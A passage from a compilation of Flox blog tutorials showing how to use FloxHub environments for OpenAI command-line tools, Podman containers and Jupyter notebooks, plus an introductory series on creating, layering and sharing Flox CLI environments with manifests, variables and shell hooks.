revamped `flox show` command, users can easily find and install even deprecated versions of packages. Need a specific patch version of an older `gcc`, `1password` or `elasticsearch` package? No problem! Use `flox show` to list all available versions. - **Secure, reliable, reproducible software deployment.** Under the covers, key functions in Flox are powered by [Nix, a proven open-source package manager](https://nixos.org). Like Nix, Flox uses declarative methods to install and version software packages. Reproducing a Flox environment exactly is as simple as copying its `.flox` directory, which contains both the environment’s software manifest and the lockfile that ensures version consistency. Not only can you be confident when recreating your environment from yesterday, you know it’ll be the same when it passes through CI, or when you share it with coworkers. - **Fast, easy access to software when you need it.** Fresh installs are at least as fast as your target system’s package manager, and if all dependencies are cached locally, take just milliseconds. Flox seamlessly reuses installed packages in new environments, creating symlinks to the originals in its local store. It all adds up to the fastest, easiest, and most reliable way to install and manage software, with no clutter, no orphaned files, and no unanticipated dependency conflicts. - **Flox is stackable and extensible.** You can use Flox to compose layered software stacks, replicating complex toolchains and their dependencies, sophisticated application or service stacks, and use case-specific stacks for AI or ML, among others. Flox makes it easy to sync common toolchains across your local and cloud workstations, ensuring you have a consistent development environment wherever you work. And with Flox, you can quickly change contexts by injecting new environment variables, making it seamless to switch between different projects or tasks. Best of all, layered Flox stacks live on your local system and enjoy transparent access to all your local resources. There’s no building, configuring, or _rebuilding_ complex, multi-container runtimes. - **Flox environments are optimized by default.** Flox packages run on Apple silicon/ARM and 64-bit x86, and are compatible with macOS and all popular flavors of Linux on either architecture. This means when you share a Flox environment with a collaborator who uses an ARM-based MacBook Pro, Flox installs packages optimized for that person’s system. And when a team member using a x86-64 Linux system pulls your environment from FloxHub, they get packages optimized for their platform, too. - **The advantages of open-source Nix—without the learning curve.** Nix enables a revolutionary approach to deploying and securing software, but it’s also famously challenging to learn. Flox gives you the best bits of Nix—including access to the world’s largest collection of open-source software—without the complexity. You can [download Flox here](https://flox.dev/docs/install-flox/). ## Breaking Down Barriers, One Release at a Time With each new release, Flox chips away at the barriers of the modern SDLC. Whether it’s fighting with containers, VMs, and venvs to set up consistent build environments; managing a tangle of dependencies across projects, platforms, and CI workflows; or mastering the quirks of a half dozen (or more!) package managers, all of these layers of abstraction and isolation really add up. The upshot is that software engineering can sometimes feel like an exercise in manipulating robotic arms from outside a clean room—without being able to see what you’re doing! Flox lets you isolate and abstract _on your local system_, with reproducible environments that run and behave the same way anywhere—including in CI. Together, the Flox CLI and FloxHub give you a way to version and collaborate your development environments, just like you do with your code and git. Tired of putting on a clean-room suit just to build, share, and ship software? Keen to see how Flox improves your workflow? Check out [Flox in 5 Minutes](https://flox.dev/docs/) for a quick walk-through of how Flox works! Title: Supercharge Your Shell with OpenAI + Flox Source: https://flox.dev/popular-packages/supercharge-your-shell-with-openai-flox/ Date: 2024-05-09 Category: tutorial # Supercharge Your Shell with OpenAI + Flox Adding the power of ChatGPT to your shell can make you more efficient, and it's easy with a FloxHub environment. Your shell is already a powerful place. Using a combination of small utilities and basic syntax, you can accomplish almost anything. Your shell profile is infinitely customizable, and can be molded to fit your exact workflow. The tools you use can be configured in tons of ways; you have configured yours meticulously. You love your shell. So do we. But sometimes - _just sometimes_ - we need answers that can't be found with `grep`. We need [more input](https://www.youtube.com/watch?v=WnTKllDbu5o). Fortunately, Flox makes it easy to discover new tools and integrate them into the way you work. Using the [Flox OpenAI environment](https://hub.flox.dev/flox/openai), you can easily supercharge your shell with the ability to call upon [OpenAI](https://openai.com) services. It puts the power of ChatGPT at your fingertips, giving you a few fantastic ways to use it. ## Activating the environment First, you will need an OpenAI API key. You can create one on the [API Keys page](https://platform.openai.com/api-keys). Once you have one, you can activate the OpenAI environment on FloxHub using `flox activate` and passing it the `--remote` flag along with the location of the environment on FloxHub. In this case, that location is `flox/openai`: ``` ~ % flox activate --remote flox/openai ✅ You are now using the environment 'flox/openai' (remote). To stop using this environment, type 'exit' OpenAI key not detected. Would you like to provide one now? *Yes* No ``` The first time you activate the environment, this might take a bit of time. After the environment is ready, it will check to see if `OPENAI_API_KEY` is set. If a key can not be found, it will ask you to provide one. If you do, it will store it inside `~/.config/openai.key` for future use. You won't have to provide a key again, and subsequent activations should be instant. If everything is set up correctly, you will see: ``` 🤖 OpenAI configured with provided key flox [flox/openai (remote)] ~ % ``` You will now be inside a Flox environment containing the following: - [`openai`](https://github.com/openai/openai-python): the official Python library for OpenAI - [`chatgpt-cli`](https://github.com/marcolardera/chatgpt-cli): a chat-style terminal interface for ChatGPT - [`mods`](https://github.com/charmbracelet/mods): a delightful ChatGPT interface made for pipes and redirects - [`llm`](https://github.com/simonw/llm): a CLI and Python library for interacting with LLMs This is the quickest way to get your hands on this collection of tools, and far easier than following the [installation instructions](https://platform.openai.com/docs/quickstart/step-1-setting-up-python) for just one piece, the Python library. ## Using GPT to find answers Sometimes you need a bit of help coming up with the right strategy for accomplishing a task in your shell. Search engines are okay for this, but chat is **even better**. For example, I often find myself needing to work with a CSV file on the command line. Perhaps I want to see how many times each of the values in a single column occurs throughout a file. This is a simple operation, and it can be done in a few dozen ways...but I don't necessarily have the exact command sequence memorized. For moments like these, it would be nice if we could phone a friend. The `chatgpt` tool included in this environment does exactly that by allowing you to enter an interactive chat session: This is ideal for situations where you are likely to have a follow-up question and need to maintain context. In this case, we were able to ask ChatGPT to amend its previous answer with a new requirement - to add an additional sorting of the results. This can be really helpful. But there are times when a breadcrumb is not enough; you want ChatGPT to **work directly with your data**. The `mods` tool included with this environment can allow you to do exactly that: pipe data into ChatGPT alongside your text prompt. This can be used to make it do _actual work_, like reviewing the CSV and analyzing its contents on a deeper level. ``` flox [flox/openai (remote)] ~ % cat friends.csv | mods \ "how many friends do I have in the technology profession?" The friends you have in the technology-related profession are: 1. Shelby Terrell - Games developer 2. Isaiah Downs - Engineer, Site 3. Janice Rhodes - Drilling engineer 4. Alfred Mcneil - Systems analyst 5. Mikaela Nelson - IT sales professional So, you have 5 friends in the technology profession. Conversation saved: fb56046 how many friends do I have in the technology profession? flox [flox/openai (remote)] ~ % ``` Depending on what you're trying to learn (and how accurate it needs to be) this might help you skip all this cutting and sorting malarkey and arrive directly at your conclusion. Take a look at the [examples page](https://github.com/charmbracelet/mods/blob/main/examples.md) for `mods` to learn about the other amazing things it can do. Both of these tools are included in this FloxHub environment, and are available to use immediately after you activate it. ## How does this environment work? The manifest for `flox/openai` is straightforward enough that most users can read and understand it. To prove it, I decided to write this section with ChatGPT using `mods`: ``` flox [flox/openai (remote)] ~ % flox list -c -r flox/openai | mods \ "write a blog post describing this Flox environment manifest" ``` By inspecting the manifest at hand, we first notice the `install` section. This section lists the packages required for this project, specifying their paths. For this manifest, the packages required include `openai`, `llm`, `gum`, `chatgpt-cli`, and `mods`. ``` [install] openai.pkg-path = "openai" llm.pkg-path = "llm" gum.pkg-path = "gum" chatgpt-cli.pkg-path = "chatgpt-cli" mods.pkg-path = "mods" ``` Next up, we have the `profile` section. Here, we can see a comprehensive setup for the OpenAI API key. The OpenAI API key enables interaction with OpenAI model interfaces. The script first tries to read the API key from the environment variable $OPENAI_API_KEY. If that's not set, it tries accessing the key stored in a file located at `~/.config/openai.key`. If it can't locate it there either, the script provides an opportunity for the user to input their OpenAI API key. ``` [profile] common = """ # First, check if $OPENAI_API_KEY is set if [[ "${OPENAI_API_KEY}" ]]; then echo "🤖 OpenAI configured with key from existing environment" return 0 fi # Then, check to see if the dotfile exists if [[ -f ~/.config/openai.key ]]; then export OPENAI_API_KEY=$(cat ~/.config/openai.key) echo "🤖 OpenAI configured with key from ~/.config/openai.key" return 0 fi # We got nothing! Let's ask. echo "OpenAI key not detected." if gum confirm "Would you like to provide one now?" --default=true --affirmative "Yes" --negative "No"; then OPENAI_API_KEY=$(gum input --placeholder "OpenAI API key") export OPENAI_API_KEY if gum confirm "Write this into ~/.config/openai.key for next time?" --default=true --affirmative "Yes" --negative "No"; then mkdir -p ~/.config/ echo "$OPENAI_API_KEY" > ~/.config/openai.key chmod 600 ~/.config/openai.key fi echo "🤖 OpenAI configured with provided key" return 0 fi echo "An OpenAI key is required. You can provide one by setting OPENAI_API_KEY." echo; echo "🚨 OpenAI client is available (no key)" """ ``` Should the user not provide the key, they shall be prompted that the OpenAI API is still accessible but without a key. It's important to note that the API key is essential to make use of OpenAI capabilities. Lastly, we have the `options` section. This specifies the compatible systems for the manifest and, by extension, this Flox environment – in this instance, systems running either 'aarch64-darwin' or 'x86_64-linux'. ``` [options] systems = ["aarch64-darwin", "x86_64-linux"] ``` This manifest provides invaluable insights into Flox's utility as an efficient project dependency installer and manager, its flexibility, and its ability to ensure a seamless development process across different systems. And there we have it, a comprehensive guide on how to interpret this Flox environment manifest. We hope that this post was able to demystify any obstacles you may have encountered when trying to comprehend a Flox manifest file. ## Give it a try! Flox is super easy to [download](https://flox.dev/docs/install-flox/) and use. You can use it to create environments that select from over 215,000 packages and do just about anything. What will you use it for? Title: Run Containers Easily with Podman + Flox Source: https://flox.dev/popular-packages/run-containers-easily-with-podman-flox/ Date: 2024-04-24 Category: tutorial # Run Containers Easily with Podman + Flox You can run containers using Podman and Flox without installiing any heavy desktop applications or starting daemons. For years, I used containers every single day. Almost always, it was the same pattern: I would spin up container with a tool or service I need - a CMS, data orchestration platform, time-series database, or old text-based adventure game - then shut it down and try again with _at least one_ volume mounted and _at least one_ port forwarded. I may not have always needed the isolation that containers provided; in fact, I would work around it a lot of the time. But they were still the easiest way to get the software I needed. Since I started using Flox, I don't use containers to consume software anymore. But they're still incredibly useful. When we really _do_ need to run something in isolation, there’s no substitute for the almighty Linux container. It is the perfect balance of isolation and convenience for most cases. And, as it turns out, it’s extremely convenient to run containers using [Podman](https://podman.io) and Flox. ## Activating Podman in a FloxHub Environment The easiest way to run containers on a machine that doesn’t already have Docker or Podman installed is to activate the [flox/podman](https://hub.flox.dev/flox/podman) remote Flox environment. This Flox environment contains: - the `podman` package - [`podman-compose`](https://github.com/containers/podman-compose), a Podman alternative for Docker Compose - a hook that verifies configuration and starts the Podman machine To activate it, [Install Flox](https://flox.dev/docs/install-flox/) and run the following command: ```console ~ % flox activate -r flox/podman ``` The best thing about Podman is that it doesn’t require you to run any services or daemons. You will, however, need a Podman machine if you’re running on macOS. The profile script for this environment will ask you whether you want this Flox environment to be started automatically when you activate the environment in the future: ```console ~ % flox activate -r flox/podman ✅ You are now using the environment 'flox/podman' (remote). To stop using this environment, type 'exit' Would you like to create and start the Podman virtual machine? > Always - start now & on future activations Yes - start now only No - do not start ``` Once the environment is activated and Podman is ready, you will see the following output: ```console 🍟 Podman is available. ``` This means that you can now use the `podman` command within this activated shell. To verify that it works we can run the Podman `hello` image: ```console flox [flox/podman] ~ % podman run -it quay.io/podman/hello !... Hello Podman World ...! .--"--. / - - \ / (O) (O) \ ~~~| -=(,Y,)=- | .---. /` \ |~~ ~/ o o \~~~~.----. ~~ | =(X)= |~ / (O (O) \ ~~~~~~~ ~| =(Y_)=- | ~~~~ ~~~| U |~~ Project: https://github.com/containers/podman Website: https://podman.io Desktop: https://podman-desktop.io Documents: https://docs.podman.io YouTube: https://youtube.com/@Podman X/Twitter: @Podman_io Mastodon: @Podman_io@fosstodon.org ``` When you no longer need to use Podman, exit the Flox environment by typing `^D` (Ctrl+D) or `exit` - it’s as easy as leaving the subshell we created when we ran `flox activate`. All of this was possible without installing a desktop app, or leaving the shell you were already working in. When you no longer need it, and you exit, it’s simply not in your `$PATH` anymore. ### Seeing how it works FloxHub environments can be viewed with the `flox list` command. You can pass it `-c` to see the entire manifest (instead of just a list of packages) along with `-r` and an environment reference. To see the latest upstream state on FloxHub (rather than your local cache), add `--upstream`. To see what’s inside this environment, run `flox list -cr flox/podman`. You can see the list of packages and the contents of the script that runs when it is activated. This is just an example. It is easy to create your own Flox environments just like this one. and push them to FloxHub so you can use them everywhere you go. ## Creating a Flox project with Podman Sometimes you need Podman as a permanent part of your project's stack. Perhaps you require multiple copies of a service that attempt to claim the same ports. Or you need to run a set of tests in a way that is guaranteed not to be influenced by outside software or configuration. With Flox, Podman can be included in a project the same way we would include any other piece of software. Let’s say we want to start a project where we use Python to store information inside a PostgreSQL database. We can initialize our project using Flox with the `flox init` command. ```console ~ % mkdir dataproject ~ % cd dataproject dataproject % flox init ✨ Created environment 'dataproject' (aarch64-darwin) Next: $ flox search <- Search for a package $ flox install <- Install a package into an environment $ flox activate <- Enter the environment dataproject % ``` Then, we can install Python, our PosgreSQL client, and Podman inside our new environment using `flox install`, and then activate it using `flox activate`: ```console dataproject % flox install python311 python311Packages.psycopg2 podman ✅ 'python311' installed to environment in current directory ✅ 'psycopg2' installed to environment in current directory ✅ 'podman' installed to environment in current directory dataproject % flox activate ✅ You are now using the environment in current directory. To stop using this environment, type 'exit' flox [dataproject] dataproject % ``` Inside our activated Flox environment, we can start the Podman machine (if on a Mac) and then spin up an instance of PostgreSQL for us to write our data into: ```console flox [dataproject] ~ % podman machine start # if on macOS! flox [dataproject] ~ % podman run --name datastore -p 5432:5432 -e POSTGRES_PASSWORD=floxfan -d postgres 1655040dd652a3e0544205c905b2fbfa872acf7b0578fde8be1e745f99d73c36 flox [dataproject] ~ % ``` With our database started, we can use Python and the `psycopg2` PostgreSQL client to connect to it and do our work: ```console flox [dataproject] dataproject % python Python 3.11.8 (main, Feb 6 2024, 21:21:21) [Clang 16.0.6 ] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> import psycopg2 >>> conn = psycopg2.connect("dbname=postgres user=postgres host=localhost password=floxfan") >>> cur.execute("SELECT data FROM test WHERE num = 74") [victory commences] >>> exit ``` So, what has Flox left behind? If we look inside our new project directory, we can see that Flox has created a set of files. They are all tidily tucked into the `.flox` directory, and they can be used to rebuild this environment in the future. ```console flox [dataproject] dataproject % find . . ./.flox ./.flox/cache ./.flox/env.json ./.flox/env ./.flox/env/manifest.toml ./.flox/env/manifest.lock ./.flox/.gitignore ./.flox/run ./.flox/run/aarch64-darwin.dataproject ``` These files can be checked into a Git repository alongside your project code. The `.gitignore` file is there to make sure that you don’t check in the runtime files in `.flox/run`, which are symlinks created on each system where you run Flox. Flox is free to [download](https://flox.dev/docs/install-flox/) and use. Next time you (or your project) needs to run a container, give it a try! Title: Install and Run Jupyter Notebooks Instantly with Flox Source: https://flox.dev/popular-packages/using-jupyter-notebooks-with-flox/ Date: 2024-04-05 Category: tutorial # Install and Run Jupyter Notebooks Instantly with Flox Run Jupyter Notebooks instantly with FloxHub environments—no installs, no cleanup, just lightweight, temporary tools for quick experimentation. Sometimes you just need to use a tool for a moment. You don’t want to install it, you don’t want to deploy it, you don’t want to maintain it. You really would rather not configure it, and you certainly don’t want to ship it to the world alongside your project. **You just need to use it for a second, and then you want it to go away.** Maybe you need to read an ancient data format, but just long enough to extract what you need. Or maybe you want to lint some code you wrote in a language you almost never use, and only has a place in a small corner of your life. Or maybe it’s a tool that is intensely useful while you’re in one phase of your development process, but not another. Since the release of Flox 1.0 and FloxHub, there's a new way to use tools quickly: FloxHub environments. **TL;DR** - Flox enables temporary Jupyter environments without installation. - Exiting removes the environment, leaving no trace. - Extra packages are supported via requirements.txt. - Preloaded tools like pandas and matplotlib are available. ## Flox: an alternative to Conda Conda environments are great for developing a full project, but what about that stage before development? When you’re exploring ideas, testing potential tools, and experimenting with code architectures? Committing to a full environment just for testing is cumbersome, especially if the tools for your project are resource-intensive, like a language model. Flox offers a lightweight alternative with its FloxHub environments. You can spin up a Python environment to test your ideas, see how things work, and then dismiss the session when your testing is done (the environment stays cached for next time). This workflow is especially useful for working with Jupyter notebooks. ## Running a Jupyter Notebook *without* installing anything Frequently while in the research phase of a project I encounter an intriguing `ipynb` file that seems likely to contain something I am looking for. In those times, I want to be able to open that notebook and run what is inside...but I don't necessarily need to include a notebook server in my everyday stack. Environments can be activated from FloxHub directly, overlaying new tools into the context you’re already in. We can use this to start a notebook server **without installing anything globally**. Let’s say we are in a directory with a few interesting notebooks: ``` ~ % cd notebooks notebooks % ls barcode_demo.ipynb tricontour_demo.ipynb notebooks % ``` Using a FloxHub environment called [`flox/nb`](https://hub.flox.dev/flox/nb), we can add Jupyter tools into our current shell session. By passing `-r` to `flox activate`, we can specify the name of a FloxHub environment that Flox will activate. ``` notebooks % flox activate -r flox/nb ✅ You are now using the environment 'flox/nb' (remote). To stop using this environment, type 'exit' Jupyter environment ready - start notebook with 'nb'. flox [flox/nb] notebooks % ``` We are now using a Flox environment whose definition lives on FloxHub. This Flox environment contains all of the [necessary Python components](https://flox.dev/docs/languages/python) to support a Jupyter notebook server, which have now been downloaded from the Flox Catalog and made available in our path. It also sets an alias that can help us start the notebook server. We didn't have to install anything, which means we won't have to _uninstall_ anything later. Let's start it now: ``` flox [flox/nb] notebooks % nb [...] To access the server, open this file in a browser: file:///Users/me/Library/Jupyter/runtime/jpserver-64073-open.html Or copy and paste one of these URLs: http://mylaptop.local:8888/tree?token=b5df059c9d323bbca1chb9407049a4695aa64081afbb632aa http://127.0.0.1:8888/tree?token=b5df059c9d323bbca1cb9407049a4695aab64081afbb632aa [...] ``` When we open our browser window by clicking on either of those links, we can see our notebook server running with the contents of our directory. Here I want to point out a few important things: - We didn't have to mount any volumes in order to access our local files from this notebook server because it is running in the same user space where we are **already working** - We also didn't have to forward any ports to gain access to this new service because it's running on the same host - again, where we are **already working**. - This isn't running inside a container or a virtual machine. Even though it's ephemeral, it's still running on **bare metal** on **your machine**. When we are done, we can exit the Flox environment the same way we'd exit any other subshell. Outside of the FloxHub environment, our notebook server is unavailable and hasn't left anything behind. ``` flox [flox/nb] notebooks % exit notebooks % nb zsh: command not found: nb notebooks % ls barcode_demo.ipynb tricontour_demo.ipynb notebooks % ``` ## How does this Jupyter Notebook environment work in Flox? So what's inside this environment? If you read [part 2 of our Intro to Flox series](/blog/intro-to-the-flox-cli-part-two-aliases-vars-and-hooks), you know that you can use the `flox list` command with `-c` to print an environment's manifest. This also works with FloxHub environments if you add `-r` (for "reference") followed by the environment reference. To see the latest upstream state on FloxHub (rather than your local cache), add `--upstream`. Let’s run `flox list -c -r flox/nb` and look at this environment's manifest one section at a time. ```toml [install] jupyter.pkg-path = "jupyter-all" pandas.pkg-path = "python311Packages.pandas" matplotlib.pkg-path = "python311Packages.matplotlib" numpy.pkg-path = "python311Packages.numpy" pyarrow.pkg-path = "python311Packages.pyarrow" sympy.pkg-path = "python311Packages.sympy" pydot.pkg-path = "python311Packages.pydot" plotly.pkg-path = "python311Packages.plotly" ``` This section defines packages to be included in our environment. The first one, `jupyter-all`, is a special package that contains a core set of Jupyter Notebook components. By adding it, we get the ability to start Jupyter servers and connect them with kernels. That is a good baseline for running notebooks, but we have found that most notebooks we run also need a few other things. That’s why this environment also contains a collection of other tools: - `pandas`, `numpy`, and `pyarrow` for working with special data types, - `matplotlib` and `plotly` for charting output, and - `sympy` for algebraic functions. In the next two sections, we see a variable and profile script that automates a few useful tasks whenever it encounters a `requirements.txt`: ```toml [vars] virtualEnv='./nb-venv/' [profile] common = """ if [[ -d $virtualEnv ]]; then echo; echo -n "⚡️ Activating existing venv in $virtualEnv..." . $virtualEnv/bin/activate echo "done." fi if [[ -f requirements.txt ]]; then echo -n "🐍 Processing requirements.txt..." [ ! -d $virtualEnv ] && python -m venv $virtualEnv . $virtualEnv/bin/activate pip3 -qq install -r requirements.txt echo "done." fi alias nb="jupyter notebook --ip 0.0.0.0" echo; echo "Jupyter environment ready - start notebook with 'nb'." """ ``` In the `[vars]` section, we find a variable containing the location for a Python virtual environment, which is currently set to `./nb-venv`. This will make sure that a virtual environment is created (if needed) in the directory where the environment is remotely activated. The `[profile]` contains a script that looks for the existence of that virtual environment and, if it finds it, activates it. If it sees a `requirements.txt`, it will create a new virtual environment and install the packages listed within it. This is useful in the case where a notebook requires more than the set of packages provided by this environment. It allows you to create a `requirements.txt` before remotely activating `flox/nb`. When the environment activates, it will create a virtual environment. This is the only thing that this Flox environment leaves behind, and only if you ask for it. The last two lines of the shell profile script create the `nb` alias we used earlier, which starts the server across all available network interfaces. The final section of the manifest contains information about the supported platforms. ```toml [options] systems = ["x86_64-linux", "aarch64-darwin", "aarch64-linux", "x86_64-darwin"] ``` This environment has been validated for use across Linux and Mac, ARM and x86. Flox is easy to try. Install it and run `flox search` to find your new favorite stuff. ## FAQs about Jupyter Notebooks and Flox ### How does Flox simplify the Jupyter Notebook environment setup? Flox provides FloxHub environments that allow users to activate Jupyter tools without global installation, deployment, or maintenance. In doing so users can avoid configuring and uninstalling tools. It's a temporary session with a lightweight, cached solution for running notebooks. You can overlay new tools into their existing shell context, streamlining the process significantly. ### Can I use custom Python packages with Jupyter Notebooks in a Flox environment? Yes, Flox environments support custom Python package dependencies by leveraging a requirements.txt file. When the Flox environment is activated, it can create a dedicated virtual environment if a requirements.txt is present. It will then install the listed packages. This ensures that any specific libraries required by a notebook are available within the session. ### Does a Flox-managed Jupyter Notebook run inside a container or virtual machine? No, a Jupyter Notebook activated through Flox does not run inside a container or a virtual machine. Flox environments operate directly on bare metal on your machine, providing an ephemeral yet native experience. This allows for direct access to local files and avoids the need for volume mounting or port forwarding. ### What happens to the Jupyter Notebook environment when I finish using Flox? When you exit a Flox environment, the Jupyter Notebook server becomes unavailable, and the environment effectively disappears (although a local copy of the environment is cached). If a virtual environment was created for custom requirements.txt dependencies, that directory might persist. No global installations are made so your system remains clean after use. Title: Intro to the Flox CLI, Part Three: Cloning, Pushing, and Pulling Source: https://flox.dev/blog/intro-to-the-flox-cli-part-three-cloning-pushing-and-pulling/ Date: 2024-03-22 Category: guide # Intro to the Flox CLI, Part Three: Cloning, Pushing, and Pulling The third part of this series shows how you can clone environments, layer them, and share them. If you’re just joining us, this is part three in a series about using the Flox CLI to manage environments. In [part two](https://flox.dev/blog/intro-to-the-flox-cli-part-two-aliases-vars-and-hooks), we created a Flox environment containing a package, an environment variable, an alias, and a shell hook. Upon entering our new environment, all of these worked in concert to display a cute ASCII friend. We installed software, configured it, and used it - all in a completely discrete, reproducible, and reversible way. You can catch up by [installing Flox](https://flox.dev/docs/install-flox/) and running these commands: ``` % mkdir -p ~/playgrnd/cows && cd ~/playgrnd/cows && flox init % cat << EOF | flox edit -f - [install] charasay.pkg-path = "charasay" [vars] CHARACTER = "cow" [profile] common = """ alias csay="chara say -c $CHARACTER" csay "welcome to your env" """ [options] systems = ["aarch64-darwin"] EOF ``` These lines cover a lot of ground! After running it, you will have an environment in `~/playgrnd/cows` that contains the following: - a package called `charasay` - an environment variable called `CHARACTER` - a shell script in the `profile` that creates an alias called `csay` (using `CHARACTER`) and calls it When you run `flox activate` from within `~/playgrnd/cows` you will enter a subshell where all of that exists. When you `exit`, it’ll all be gone. Ok! You’re caught up. ## Exporting and importing One of the things that makes Flox useful is the ability to create and manage multiple environments. Let’s say you have a very urgent need for another environment, one where you are greeted by a friendly clownfish instead of a cow. I understand how that can be; let’s make it happen. First, we’ll make a copy of our environment - let’s call it `clowns`. The first step is to create a new environment, so let's make a new directory in `~/playgrnd` called `clowns` and initialize a new environment inside it. ``` % mkdir -p ~/playgrnd/clowns % cd ~/playgrnd/clowns % flox init ✨ Created environment clowns (aarch64-darwin) Next: $ flox search <- Search for a package $ flox install <- Install a package into an environment $ flox activate <- Enter the environment % ``` Then, let's export the manifest from our `cows` environment and use it to replace the default manifest of our current one: ``` % flox list -c -d ~/playgrnd/cows | flox edit -f - ✅ Environment successfully updated. % ``` When you run `flox list -c`, it returns an environment manifest that can be piped directly into `flox edit -f -`. Environment manifests are comprehensive, specific materializations of an environment. A manifest tells Flox _how to build_ an environment; and it’s what you see in your editor when you run [`flox edit`](https://flox.dev/docs/reference/command-reference/flox-edit/), and what we piped into `flox edit` in the first block of this post. When we provide Flox with a new manifest, it immediately goes about the (often complex) task of making your wishes concrete. Let’s edit our new environment with `flox edit` and change the value of our `CHARACTER` variable to be a clown fish. The final line should look like this: ``` CHARACTER = "nemo" ``` Once we exit our editor, Flox will rebuild the environment. If we activate it by running `flox activate`, we will see the gracious and friendly ASCII clownfish we so strongly desired: ## Layering Ready to see Flox do a modest stunt? Try activating your first environment from _within_ your second. That’s not something you can easily pull off with containers or VMs - there is a heavy Inception-like performance and complexity tax in doing so. But if we change into `~/playgrnd/cows` and run `flox activate` (without exiting from our current `clowns` subshell), we can see that it overrides our `CHARACTER` environment variable: This works just the way you’d expect it to. These Flox environments are a lot like folks living in the Pacific Northwest: they're discrete without being isolated, and they know how to layer. That makes it easy to create things like: - a “base” environment with all of your development tools, with separate “child” environments for each project you work with regularly - separate environments for each tool you use, stacked in various combinations as they are needed - a project environment with “child” environments containing configuration for working with various stages of the SDLC (dev/test/prod) ## Pushing and Remote Activation Of course, we don’t live our entire technical lives within a single operating system. We work across a fleet of desktops, laptops, servers, and instances; we need to be able to move these environments around! So! Let’s use [`flox push`](https://flox.dev/docs/reference/command-reference/flox-push/) to send our `cows` environment to FloxHub. The first time we do this, we’ll be asked to go through a few initialization steps. ``` % cd ~/playgrnd/cows % flox push ``` This will send the environment to FloxHub, where you can view it on the web. Once the environment has been pushed, we can use [`flox activate -r`](https://flox.dev/docs/reference/command-reference/flox-push/) on a different server to recreate the same environment: ``` % ssh remote [...] remote% flox activate -r rossturk/cows ``` Using Flox is easy, and gives you access to Nixpkgs, the world’s largest collection of software packages. [Download it now](https://flox.dev/docs/install-flox/) and give it a try! Title: Intro to the Flox CLI, Part Two: Aliases, Vars, and Hooks Source: https://flox.dev/blog/intro-to-the-flox-cli-part-two-aliases-vars-and-hooks/ Date: 2024-03-21 Category: guide # Intro to the Flox CLI, Part Two: Aliases, Vars, and Hooks The second part of this series explores the ways you can use Flox environments to adjust the way software is configured and run. In [part one of this series](/blog/intro-to-the-flox-cli-part-one-easy-environments), we explored how Flox is used to create environments and install packages. The way Flox works with packages is similar to the `apt` and `yum` interactions we’re all familiar with, except that they are installed into isolated environments instead of affecting your entire system. But packages are just one part of a Flox environment. In this post, we’ll take a look at some of the other stuff that makes Flox environments useful: [shell hooks](/docs/concepts/manifest/#hook-section), [environment variables](/docs/concepts/manifest/#vars-section), and aliases. In the last post, we created a playground environment in `~/playgrnd/cows` and installed the [`charasay`](https://github.com/latipun7/charasay) package into it. In case you are just joining us now, this can be accomplished with the following set of commands: ``` % mkdir -p ~/playgrnd/cows && cd ~/playgrnd/cows % flox init && flox install charasay % flox activate ``` Once you run that, you will have a Flox environment containing `charasay` that you can activate whenever you need it. Every Flox environment has a manifest: a block of text that defines the environment and can - by itself - be used to recreate it. Let’s take a closer look at the manifest for our new environment by running `flox edit`. This opens an editor containing the manifest: ```toml # List packages you wish to install in your environment [install] charasay.pkg-path = "charasay" # hello.pkg-path = "hello" # nodejs = { version = "^18.4.2", pkg-path = "nodejs_18" } # Set environment variables [vars] # message = "Howdy" # pass-in = "$some-env-var" # Script source by your shell after entering # An activation hook will be run when entering the environment. [profile] # common = """ # echo "it's gettin flox in here"; # """ # In order to use the environment on a system you must explicitly # add it to this list. [options] systems = ["aarch64-darwin"] ``` Most of this content is boilerplate, so let’s start with the only line that isn't: ```toml charasay.pkg-path = "charasay" ``` This is the part of the declaration that instructs Flox to pull the `charasay` package into the environment. If you want to install another new package but, for some reason, would rather add a line to a file than run `flox install`, you can add that line after calling `flox edit`. Packages are great, and assembling them in new ways is what makes Flox spring out of bed every morning. But let’s go one small step further by adding an environment variable and shell alias: ```toml # Set environment variables [vars] CHARACTER = "cow" [profile] common = """ alias csay="chara say -c $CHARACTER" """ ``` You can probably guess what these two additions do. The first one defines an environment variable, `CHARACTER`. The second line creates a shell alias that expands `csay` to a `chara say` command, passing along the character we defined. If we activate the environment and run `csay`, we can see that it expands the alias and environment variable correctly: Shell aliases and variables are hardly new innovations, but Flox allows you to manage them alongside software in reproducible environments. This makes Flox more than a package manager; it is an environment manager that has the ability to control how the software in those packages behaves. For example: - a web dev working with multiple clients could create an environment for each of them that contains the engines and frameworks they need along with aliases they can use to interface with hosting providers - a data engineer building a set of ETL tasks could create an environment for each upstream data source that contains the necessary client software, connection strings, and credential locations - a backend engineer who works with services across multiple AWS regions could create an environment tailored for each one, making it easy to switch between them Surely by this point you have noticed the `[profile]` section in your environment declaration. This is executed when an environment is activated, and it is able to access environment variables. For example, we could change the profile in our environment so that it reads: ``` [profile] common = """ chara say -c $CHARACTER "welcome to your env" """ ``` With this profile in place, we will see a nice image of a moocow welcoming us into our environment every time we activate it: Ok. I know what you’re saying: this is fun _I guess_ but it would become infuriating in a very small amount of time. I agree. This is an illustrative example, yet not terribly practical. That's okay, I'm okay with that. Here are some other, more useful things that you can do with a shell customization: - open an SSH tunnel to a remote cluster - provision an authentication token - output a list of GitHub issues you’ve been assigned in a particular project - select a “work” Git identity vs. a personal one It's easy to [install Flox](https://flox.dev/docs/install-flox/) and create your first environment. Give it a try! Title: Intro to the Flox CLI, Part One: Easy Environments Source: https://flox.dev/blog/intro-to-the-flox-cli-part-one-easy-environments/ Date: 2024-03-19 Category: guide # Intro to the Flox CLI, Part One: Easy Environments Flox makes it easy to create ephemeral environments and try new tools without making a mess all over your desk. This happens to me all the time, and it’s one of my favorite things. Someone sends me an instant message that looks like this: This is good. Generally speaking, I like fun stuff like this. My pulse quickens. But I also start to notice the earliest signs of skepticism forming. Too many times in the past, a curiosity like this turns into a multi-hour project that leaves my system in a weird state. The last thing I need is to break my working setup. I hit the README anyway. This is a Rust app - a fun one, from the looks of it - and that means running `cargo install charasay` is the mainstream way to go. Here’s the problem: I am not a Rust dev, I don’t have the [Rust stack](https://www.rust-lang.org/tools/install) installed, and this is starting to sound like a heavier lift than it’s worth. Fortunately, this can be installed with Flox. I know because I can use [`flox search`](https://flox.dev/docs/reference/command-reference/flox-search/) to find it: ``` % flox search charasay charasay The future of cowsay - Colorful characters saying something Use 'flox show ' to see available versions % ``` This command searches through the Flox Catalog for [charasay](https://github.com/latipun7/charasay), which is based on 